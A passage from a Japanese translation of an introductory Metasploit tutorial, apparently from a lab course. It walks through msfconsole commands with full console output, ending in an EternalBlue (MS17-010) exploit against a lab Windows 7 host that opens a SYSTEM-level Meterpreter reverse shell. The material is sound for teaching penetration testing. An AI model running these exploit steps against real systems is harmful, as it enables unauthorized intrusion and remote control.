  a reboot. This may be more likely with some payloads.

References:
  https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
  https://nvd.nist.gov/vuln/detail/CVE-2017-0143
  https://nvd.nist.gov/vuln/detail/CVE-2017-0144
  https://nvd.nist.gov/vuln/detail/CVE-2017-0145
  https://nvd.nist.gov/vuln/detail/CVE-2017-0146
  https://nvd.nist.gov/vuln/detail/CVE-2017-0147
  https://nvd.nist.gov/vuln/detail/CVE-2017-0148
  https://github.com/RiskSense-Ops/MS17-010
  https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
  https://www.exploit-db.com/exploits/42030

Also known as:
  ETERNALBLUE


View the full module info with the info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

あるいは、msfconsoleのプロンプトから、infoコマンドの後にモジュールのパスを続けて使うこともできます(例:info exploit/windows/smb/ms17_010_eternalblue)。info はヘルプメニューではありません。作者や関連するソースなど、モジュールの詳細情報が表示されます。

検索

msfconsole で最も便利なコマンドのひとつに search があります。このコマンドは Metasploit Framework のデータベースから、指定された検索パラメータに関連するモジュールを検索します。CVE 番号、エクスプロイト名(eternalblue、heartbleed など)、ターゲットシステムを使用して検索を行うことができます。

msf6 > search ms17-010

Matching Modules
================

   #   Name                                           Disclosure Date  Rank     Check  Description
   -   ----                                           ---------------  ----     -----  -----------
   0   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1     \_ target: Automatic Target                  .                .        .      .
   2     \_ target: Windows 7                         .                .        .      .
   3     \_ target: Windows Embedded Standard 7       .                .        .      .
   4     \_ target: Windows Server 2008 R2            .                .        .      .
   5     \_ target: Windows 8                         .                .        .      .
   6     \_ target: Windows 8.1                       .                .        .      .
   7     \_ target: Windows Server 2012               .                .        .      .
   8     \_ target: Windows 10 Pro                    .                .        .      .
   9     \_ target: Windows 10 Enterprise Evaluation  .                .        .      .
   10  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   11    \_ target: Automatic                         .                .        .      .
   12    \_ target: PowerShell                        .                .        .      .
   13    \_ target: Native upload                     .                .        .      .
   14    \_ target: MOF upload                        .                .        .      .
   15    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   16    \_ AKA: ETERNALROMANCE                       .                .        .      .
   17    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   18    \_ AKA: ETERNALBLUE                          .                .        .      .
   19  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   20    \_ AKA: ETERNALSYNERGY                       .                .        .      .
   21    \_ AKA: ETERNALROMANCE                       .                .        .      .
   22    \_ AKA: ETERNALCHAMPION                      .                .        .      .
   23    \_ AKA: ETERNALBLUE                          .                .        .      .
   24  auxiliary/scanner/smb/smb_ms17_010             .                normal   No     MS17-010 SMB RCE Detection
   25    \_ AKA: DOUBLEPULSAR                         .                .        .      .
   26    \_ AKA: ETERNALBLUE                          .                .        .      .
   27  exploit/windows/smb/smb_doublepulsar_rce       2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution
   28    \_ target: Execute payload (x64)             .                .        .      .
   29    \_ target: Neutralize implant                .                .        .      .


Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

msf6 >

検索コマンドの出力は、返された各モジュールの概要を提供します。name "カラムに、モジュール名以上の情報がすでに示されていることにお気づきでしょう。モジュールのタイプ(auxiliary、exploitなど)や、モジュールのカテゴリ(scanner、admin、windows、Unixなど)がわかります。検索結果で返されたモジュールは、コマンド use の後に、結果の行の先頭に番号を付けて使用することができます。(例:use auxiliary/admin/smb/ms17_010_commandの代わりに0を使用)

タイプやプラットフォームなどのキーワードで検索機能を指示することもできます。

例えば、検索結果に補助モジュールだけを含めたい場合は、typeをauxiliaryに設定します。以下のスクリーンショットは、search type:auxiliary telnetコマンドの出力を示しています。


msf6 > search type:auxiliary telnet

Matching Modules
================

   #   Name                                                              Disclosure Date  Rank    Check  Description
   -   ----                                                              ---------------  ----    -----  -----------
   0   auxiliary/server/capture/telnet                                   .                normal  No     Authentication Capture:
 Telnet
   1   auxiliary/scanner/telnet/brocade_enable_login                     .                normal  No     Brocade Enable Login Check Scanner
   2   auxiliary/dos/cisco/ios_telnet_rocem                              2017-03-17       normal  No     Cisco IOS Telnet Denial of Service
   3   auxiliary/admin/http/dlink_dir_300_600_exec_noauth                2013-02-04       normal  No     D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
   4   auxiliary/scanner/ssh/juniper_backdoor                            2015-12-20       normal  No     Juniper SSH Backdoor Scanner
   5   auxiliary/scanner/telnet/lantronix_telnet_password                .                normal  No     Lantronix Telnet Password Recovery
   6   auxiliary/scanner/telnet/lantronix_telnet_version                 .                normal  No     Lantronix Telnet Service Banner Detection
   7   auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof                      2010-12-21       normal  No     Microsoft IIS FTP Server Encoded Response Overflow Trigger
   8   auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass  2021-09-06       normal  Yes    Netgear PNPX_GetShareFolderList Authentication Bypass
   9   auxiliary/admin/http/netgear_r6700_pass_reset                     2020-06-15       normal  Yes    Netgear R6700v3 Unauthenticated LAN Admin Password Reset
   10  auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce   2021-04-21       normal  Yes    Netgear R7000 backup.cgi Heap Overflow RCE
   11  auxiliary/scanner/telnet/telnet_ruggedcom                         .                normal  No     RuggedCom Telnet Password Generator
   12  auxiliary/scanner/telnet/satel_cmd_exec                           2017-04-07       normal  No     Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
   13  auxiliary/scanner/telnet/telnet_login                             .                normal  No     Telnet Login Check Scanner
   14  auxiliary/scanner/telnet/telnet_version                           .                normal  No     Telnet Service Banner Detection
   15  auxiliary/scanner/telnet/telnet_encrypt_overflow                  .                normal  No     Telnet Service Encryption Key ID Overflow Detection


Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow

msf6 >

エクスプロイトはターゲットシステムの脆弱性を利用するものであり、常に予期せぬ挙動を示す可能性があります。低ランクのエクスプロイトが完璧に動作することもあれば、優秀なランクのエクスプロイトが動作しなかったり、最悪ターゲットシステムをクラッシュさせたりすることもあります。

モジュールを使う

先ほど見たように、useコマンドにモジュール名を続けて使ってモジュールのコンテキストに入ったら、パラメータを設定する必要があります。最も一般的なパラメータを以下に示します。使用するモジュールによっては、追加または異なるパラメーターを設定する必要があることを忘れないでください。show optionsコマンドを使って、必要なパラメーターをリストアップするのがよい方法です。

すべてのパラメータは同じコマンド構文で設定されます:

set PARAMETER_NAME VALUE

先に進む前に、常にmsfconsoleプロンプトをチェックして、正しいコンテキストにいることを確認してください。Metasploitを扱うとき、5つの異なるプロンプトが表示されるかも しれません。

  • 通常のコマンドプロンプト: ここではMetasploitコマンドは使えません。

─$

  • msfconsole プロンプト: msf6 (インストールされているバージョンによっては msf5) が msfconsole プロンプトです。見てわかるように、ここではコンテキストが設定されていないので、パラメータを設定したりモジュールを実行したりするコンテキスト固有のコマンドはここでは使えません。

msf6 >

  • コンテキストプロンプト: モジュールの使用を決定し、set コマンドを使ってモジュールを選択すると、msfconsole はコンテキストを表示します。ここでコンテキスト固有のコマンド(例えば set RHOSTS 10.10.x.x)を使うことができます。

msf6 exploit(windows/smb/ms17_010_eternalblue) >

  • Meterpreterプロンプト: 後程説明する重要なペイロードです。これは、Meterpreterエージェントがターゲットシステムにロードされ、接続されたことを意味します。ここではMeterpreter固有のコマンドを使うことができる。

meterpreter >

  • ターゲット・システム上のシェル: エクスプロイトが完了すると、ターゲット・システム上のコマンド・シェルにアクセスできるようになります。これは通常のコマンドラインであり、ここで入力されたコマンドはすべてターゲットシステム上で実行されます。

C:\Windows\system32>

前述したように、show optionsコマンドは利用可能なパラメーターをすべてリストアップします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

上のスクリーンショットにあるように、これらのパラメータの中には、エクスプロイトが機能するために値が必要なものがあります。いくつかの必要なパラメータ値は事前に入力されていますが、ターゲットに対してこれらが同じままであるべきかを確認してください。例えば、WebエクスプロイトではRPORT(リモートポート:Metasploitが接続を試み、エクスプロイトを実行するターゲットシステムのポート)の値が80にプリセットされている可能性がありますが、ターゲットのWebアプリケーションは8080ポートを使用している可能性があります。

この例では、setコマンドを使ってRHOSTSパラメーターにターゲット・システムのIPアドレスを設定します。

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS         10.10.165.39     yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

パラメーターを設定したら、show optionsコマンドを使って、値が正しく設定されているか確認することができます。

よく使うパラメータは以下の通りです:

  • RHOSTS: "リモート・ホスト"、ターゲット・システムのIPアドレス。単一のIPアドレスまたはネットワーク範囲を設定できる。これは、CIDR(Classless Inter-Domain Routing)表記(/24、/16など)またはネットワーク範囲(10.10.10.x - 10.10.10.y)をサポートします。
  • RPORT: 「リモートポート」、脆弱なアプリケーションが実行されているターゲットシステム上のポート。
  • PAYLOAD: エクスプロイトで使用するペイロード。
  • LHOST:"Localhost"、攻撃マシン(Kali Linux)のIPアドレス。
  • LPORT: "ローカルポート"、リバースシェルが接続する際に使用するポート。これは攻撃しているマシンのポートで、他のアプリケーションに使われていない任意のポートに設定できます。
  • SESSION: Metasploit を使ってターゲットシステムに確立された各接続はセッション ID を持ちます。既存の接続を使用してターゲットシステムに接続するポストエクスプロイトモジュールでこれを使用します。
設定されたパラメータは、set コマンドを使って別の値で上書きすることができます。また、unset コマンドで任意のパラメータ値をクリアしたり、unset all コマンドですべての設定パラメータをクリアすることもできます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > unset all
Unsetting datastore...
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/
                                             using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to use for authentication. Only affects Windows Ser
                                             ver 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target. Only affects Windows Server
                                             2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, W
                                             indows 7, Windows Embedded Standard 7 target machines.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.29.55.196    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) >

setgコマンドを使えば、すべてのモジュールで使われる値を設定することができます。setgコマンドはsetコマンドと同じように使います。違うのは、set コマンドを使ってあるモジュールで値を設定した後、別のモジュールに切り替えた場合、再度値を設定する必要があるということです。setgコマンドは、異なるモジュール間でデフォルトで使用できるように値を設定することができます。setgで設定した値は、unsetgでクリアできます。

以下の例では、以下のフローを使用しています;

  1. ms17_010_eternalblueエクスプロイトを使用します。
  2. setコマンドの代わりにsetgコマンドを使用してRHOSTS変数を設定します。
  3. backコマンドを使用して、エクスプロイト・コンテキストから抜けます。
  4. 補助ツールを使用します(このモジュールはMS17-010の脆弱性を発見するためのスキャナーです)。
  5. show optionsコマンドは、RHOSTSパラメータにターゲット・システムのIPアドレスがすでに入力されていることを示しています。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > setg rhosts 10.10.165.39
rhosts => 10.10.165.39
msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options

Module options (auxiliary/scanner/smb/smb_ms17_010):

   Name         Current Setting                      Required  Description
   ----         ---------------                      --------  -----------
   CHECK_ARCH   true                                 no        Check for architecture on vulnerable hosts
   CHECK_DOPU   true                                 no        Check for DOUBLEPULSAR on vulnerable hosts
   CHECK_PIPE   false                                no        Check for named pipe on vulnerable hosts
   NAMED_PIPES  /usr/share/metasploit-framework/dat  yes       List of named pipes to check
                a/wordlists/named_pipes.txt
   RHOSTS       10.10.165.39                         yes       The target host(s), see https://docs.metasploit.com/docs/using-
                                                               metasploit/basics/using-metasploit.html
   RPORT        445                                  yes       The SMB service port (TCP)
   SMBDomain    .                                    no        The Windows domain to use for authentication
   SMBPass                                           no        The password for the specified username
   SMBUser                                           no        The username to authenticate as
   THREADS      1                                    yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_ms17_010) >

setgコマンドは、Metasploitを終了するか、unsetgコマンドを使ってクリアするまで使用されるグローバルな値を設定します。

モジュールを使う

モジュールのパラメータをすべて設定したら、exploitコマンドを使ってモジュールを起動することができます。Metasploitはrunコマンドもサポートしていますが、これはexploitコマンドの別名で、exploitではないモジュール(ポートスキャナや脆弱性スキャナなど)を使うときにexploitという単語が意味をなさないために作られたものです。

exploitコマンドは、パラメータなしで使用することも、"-z "パラメータを使用して使用することもできます。

exploit -zコマンドは、セッションが開くとすぐにexploitを実行し、バックグラウンドにします。

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit -z

[*] Started reverse TCP handler on 10.10.44.70:4444 
[*] 10.10.12.229:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.10.12.229:445      - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.10.12.229:445      - Scanned 1 of 1 hosts (100% complete)
[*] 10.10.12.229:445 - Connecting to target for exploitation.
[+] 10.10.12.229:445 - Connection established for exploitation.
[+] 10.10.12.229:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.12.229:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.12.229:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.12.229:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.12.229:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.10.12.229:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.12.229:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.12.229:445 - Sending all but last fragment of exploit packet
[*] 10.10.12.229:445 - Starting non-paged pool grooming
[+] 10.10.12.229:445 - Sending SMBv2 buffers
[+] 10.10.12.229:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.12.229:445 - Sending final SMBv2 buffers.
[*] 10.10.12.229:445 - Sending last fragment of exploit packet!
[*] 10.10.12.229:445 - Receiving response from exploit packet
[+] 10.10.12.229:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.12.229:445 - Sending egg to corrupted connection.
[*] 10.10.12.229:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 10.10.12.229
[*] Meterpreter session 2 opened (10.10.44.70:4444 -> 10.10.12.229:49186) at 2021-08-20 02:06:48 +0100
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.12.229:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Session 2 created in the background.
msf6 exploit(windows/smb/ms17_010_eternalblue) >

これにより、エクスプロイトを実行したコンテキスト・プロンプトが返されます。

checkオプションをサポートしているモジュールもあります。これは、ターゲットシステムが脆弱かどうかを、エクスプロイトせずにチェックします。

セッション

脆弱性の悪用に成功すると、セッションが作成されます。これはターゲットシステムとMetasploitの間に確立された通信チャネルです。

セッションプロンプトをバックグラウンドにして msfconsole プロンプトに戻るには background コマンドを使用します。

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

また、CTRL+Z を使用してセッションをバックグラウンドにすることもできます。

sessions コマンドは msfconsole プロンプトまたは任意のコンテキストから使用でき、既存のセッションを確認できます。

msf6 exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 exploit(windows/smb/ms17_010_eternalblue) > back
msf6 > sessions 

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 >

任意のセッションと対話するには、sessions -iコマンドの後に目的のセッション番号を続けます。

msf6 > sessions

Active sessions
===============

  Id  Name  Type                     Information                   Connection
  --  ----  ----                     -----------                   ----------
  1         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49163 (10.10.12.229)
  2         meterpreter x64/windows  NT AUTHORITY\SYSTEM @ JON-PC  10.10.44.70:4444 -> 10.10.12.229:49186 (10.10.12.229)

msf6 > sessions -i 2
[*] Starting interaction with 2...

meterpreter >


出典:Metasploit: Introduction